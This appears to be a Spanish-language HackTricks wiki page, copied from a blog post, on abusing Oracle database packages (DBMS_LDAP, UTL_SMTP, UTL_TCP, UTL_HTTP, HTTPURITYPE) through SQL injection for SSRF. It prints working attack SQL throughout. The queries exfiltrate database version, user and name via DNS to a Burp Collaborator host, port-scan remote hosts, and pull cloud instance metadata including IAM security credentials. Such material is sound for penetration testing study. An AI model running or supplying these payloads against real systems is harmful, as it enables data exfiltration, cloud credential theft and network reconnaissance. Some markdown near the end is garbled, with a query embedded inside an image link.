mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 00:20:59 +00:00
168 lines
11 KiB
Markdown
168 lines
11 KiB
Markdown
|
# SSRF
|
||
|
|
||
|
**Información copiada de** [**https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#oracle**](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#oracle)
|
||
|
|
||
|
Usar Oracle para hacer solicitudes HTTP y DNS fuera de banda está bien documentado, pero como medio para exfiltrar datos SQL en inyecciones. Siempre podemos modificar estas técnicas/funciones para hacer otras SSRF/XSPA.
|
||
|
|
||
|
La instalación de Oracle puede ser realmente dolorosa, especialmente si desea configurar una instancia rápida para probar comandos. Mi amigo y colega de [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me señaló a [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permitió configurar una instancia en una máquina AWS Ubuntu t2.large y Docker.
|
||
|
|
||
|
Ejecuté el comando de docker con la bandera `--network="host"` para que pudiera imitar a Oracle como una instalación nativa con acceso completo a la red, durante el transcurso de esta publicación de blog.
|
||
|
```
|
||
|
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
|
||
|
```
|
||
|
### Paquetes de Oracle que admiten una especificación de URL o de nombre de host/puerto <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
|
||
|
|
||
|
Para encontrar cualquier paquete o función que admita una especificación de host y puerto, realicé una búsqueda en Google en la [Documentación en línea de Oracle Database](https://docs.oracle.com/database/121/index.html). Específicamente,
|
||
|
```
|
||
|
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
|
||
|
```
|
||
|
La búsqueda devolvió los siguientes resultados (no todos se pueden utilizar para realizar conexiones de red salientes):
|
||
|
|
||
|
* DBMS\_NETWORK\_ACL\_ADMIN
|
||
|
* UTL\_SMTP
|
||
|
* DBMS\_XDB
|
||
|
* DBMS\_SCHEDULER
|
||
|
* DBMS\_XDB\_CONFIG
|
||
|
* DBMS\_AQ
|
||
|
* UTL\_MAIL
|
||
|
* DBMS\_AQELM
|
||
|
* DBMS\_NETWORK\_ACL\_UTILITY
|
||
|
* DBMS\_MGD\_ID\_UTL
|
||
|
* UTL\_TCP
|
||
|
* DBMS\_MGWADM
|
||
|
* DBMS\_STREAMS\_ADM
|
||
|
* UTL\_HTTP
|
||
|
|
||
|
Esta búsqueda rudimentaria obviamente omite paquetes como `DBMS_LDAP` (que permite pasar un nombre de host y un número de puerto) ya que [la página de documentación](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) simplemente te redirige a una [ubicación diferente](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Por lo tanto, puede haber otros paquetes de Oracle que se puedan utilizar para realizar solicitudes salientes que se me hayan pasado.
|
||
|
|
||
|
En cualquier caso, echemos un vistazo a algunos de los paquetes que hemos descubierto y enumerado anteriormente.
|
||
|
|
||
|
**DBMS\_LDAP.INIT**
|
||
|
|
||
|
El paquete `DBMS_LDAP` permite acceder a datos de servidores LDAP. La función `init()` inicializa una sesión con un servidor LDAP y toma un nombre de host y un número de puerto como argumento.
|
||
|
|
||
|
Esta función ya ha sido documentada antes para mostrar la filtración de datos a través de DNS, como se muestra a continuación.
|
||
|
```
|
||
|
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
|
||
|
```
|
||
|
Sin embargo, dado que la función acepta un nombre de host y un número de puerto como argumentos, también puedes usarla como un escáner de puertos.
|
||
|
|
||
|
Aquí hay algunos ejemplos:
|
||
|
```
|
||
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
|
||
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
|
||
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
|
||
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
|
||
|
```
|
||
|
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/18.png)
|
||
|
|
||
|
Un `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indica que el puerto está cerrado mientras que un valor de sesión apunta a que el puerto está abierto.
|
||
|
|
||
|
**UTL\_SMTP**
|
||
|
|
||
|
El paquete `UTL_SMTP` está diseñado para enviar correos electrónicos a través de SMTP. El ejemplo proporcionado en el [sitio de documentación de Oracle muestra cómo se puede usar este paquete para enviar un correo electrónico](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Para nosotros, sin embargo, lo interesante es la capacidad de proporcionar una especificación de host y puerto.
|
||
|
|
||
|
A continuación se muestra un ejemplo básico con la función `UTL_SMTP.OPEN_CONNECTION`, con un tiempo de espera de 2 segundos.
|
||
|
```
|
||
|
DECLARE c utl_smtp.connection;
|
||
|
BEGIN
|
||
|
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
|
||
|
END;
|
||
|
```
|
||
|
|
||
|
```
|
||
|
DECLARE c utl_smtp.connection;
|
||
|
BEGIN
|
||
|
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
|
||
|
END;
|
||
|
```
|
||
|
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/19.png)
|
||
|
|
||
|
Un `ORA-29276: transfer timeout` muestra que el puerto está abierto pero no se estableció una conexión SMTP, mientras que un `ORA-29278: SMTP transient error: 421 Service not available` muestra que el puerto está cerrado.
|
||
|
|
||
|
**UTL\_TCP**
|
||
|
|
||
|
El paquete `UTL_TCP` y sus procedimientos y funciones permiten la comunicación basada en TCP/IP con servicios. Si se programa para un servicio específico, este paquete puede convertirse fácilmente en una forma de ingresar a la red o realizar solicitudes completas del lado del servidor, ya que se pueden controlar todos los aspectos de una conexión TCP/IP.
|
||
|
|
||
|
El ejemplo en el sitio de documentación de Oracle muestra cómo se puede usar este paquete para hacer una conexión TCP cruda para obtener una página web. Podemos simplificarlo un poco más y usarlo para hacer solicitudes a la instancia de metadatos, por ejemplo, o a un servicio TCP/IP arbitrario.
|
||
|
```
|
||
|
set serveroutput on size 30000;
|
||
|
SET SERVEROUTPUT ON
|
||
|
DECLARE c utl_tcp.connection;
|
||
|
retval pls_integer;
|
||
|
BEGIN
|
||
|
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
|
||
|
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
|
||
|
retval := utl_tcp.write_line(c);
|
||
|
BEGIN
|
||
|
LOOP
|
||
|
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
|
||
|
END LOOP;
|
||
|
EXCEPTION
|
||
|
WHEN utl_tcp.end_of_input THEN
|
||
|
NULL;
|
||
|
END;
|
||
|
utl_tcp.close_connection(c);
|
||
|
END;
|
||
|
/
|
||
|
```
|
||
|
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/20.png)
|
||
|
|
||
|
Esta imagen muestra una solicitud HTTP que se realiza a través de una inyección SQL en una base de datos Oracle. La solicitud utiliza la función `UTL_HTTP.REQUEST` para realizar una solicitud HTTP a una URL específica. La URL se construye utilizando la entrada del usuario que se ha pasado a través de la inyección SQL. Esto puede ser peligroso ya que un atacante puede manipular la entrada del usuario para realizar solicitudes HTTP maliciosas a servidores internos o externos, lo que puede resultar en una vulnerabilidad de SSRF o XSPA.
|
||
|
```
|
||
|
DECLARE c utl_tcp.connection;
|
||
|
retval pls_integer;
|
||
|
BEGIN
|
||
|
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
|
||
|
retval := utl_tcp.write_line(c);
|
||
|
BEGIN
|
||
|
LOOP
|
||
|
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
|
||
|
END LOOP;
|
||
|
EXCEPTION
|
||
|
WHEN utl_tcp.end_of_input THEN
|
||
|
NULL;
|
||
|
END;
|
||
|
utl_tcp.close_connection(c);
|
||
|
END;
|
||
|
```
|
||
|
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/21.png)
|
||
|
|
||
|
Curiosamente, debido a la capacidad de crear solicitudes TCP en bruto, este paquete también se puede utilizar para consultar el servicio de metadatos de instancia de todos los proveedores de la nube, ya que el tipo de método y los encabezados adicionales se pueden pasar dentro de la solicitud TCP.
|
||
|
|
||
|
**UTL\_HTTP y solicitudes web**
|
||
|
|
||
|
Quizás la técnica más común y ampliamente documentada en cada tutorial de Inyección SQL Oracle Out of Band que existe es el paquete [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Este paquete está definido por la documentación como - `El paquete UTL_HTTP realiza llamadas de salida del Protocolo de transferencia de hipertexto (HTTP) desde SQL y PL/SQL. Puede usarlo para acceder a datos en Internet a través de HTTP.`
|
||
|
```
|
||
|
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
||
|
```
|
||
|
¡[](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/16.png)
|
||
|
|
||
|
Además, se podría utilizar esto para realizar un escaneo de puertos rudimentario con consultas como:
|
||
|
```
|
||
|
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
|
||
|
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
|
||
|
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
|
||
|
```
|
||
|
Un `ORA-12541: TNS:no listener` o un `TNS:operation timed out` es una señal de que el puerto TCP está cerrado, mientras que un `ORA-29263: HTTP protocol error` o datos son una señal de que el puerto está abierto.
|
||
|
|
||
|
Otro paquete que he utilizado en el pasado con éxito variado es el método [`GETCLOB()` del tipo abstracto de Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) que permite interactuar con una URL y proporciona soporte para el protocolo HTTP. El método `GETCLOB()` se utiliza para obtener la respuesta GET de una URL como un [tipo de datos CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/22.png)](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)
|
||
|
|
||
|
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
|
||
|
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
|
||
|
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
|
||
|
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
|
||
|
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|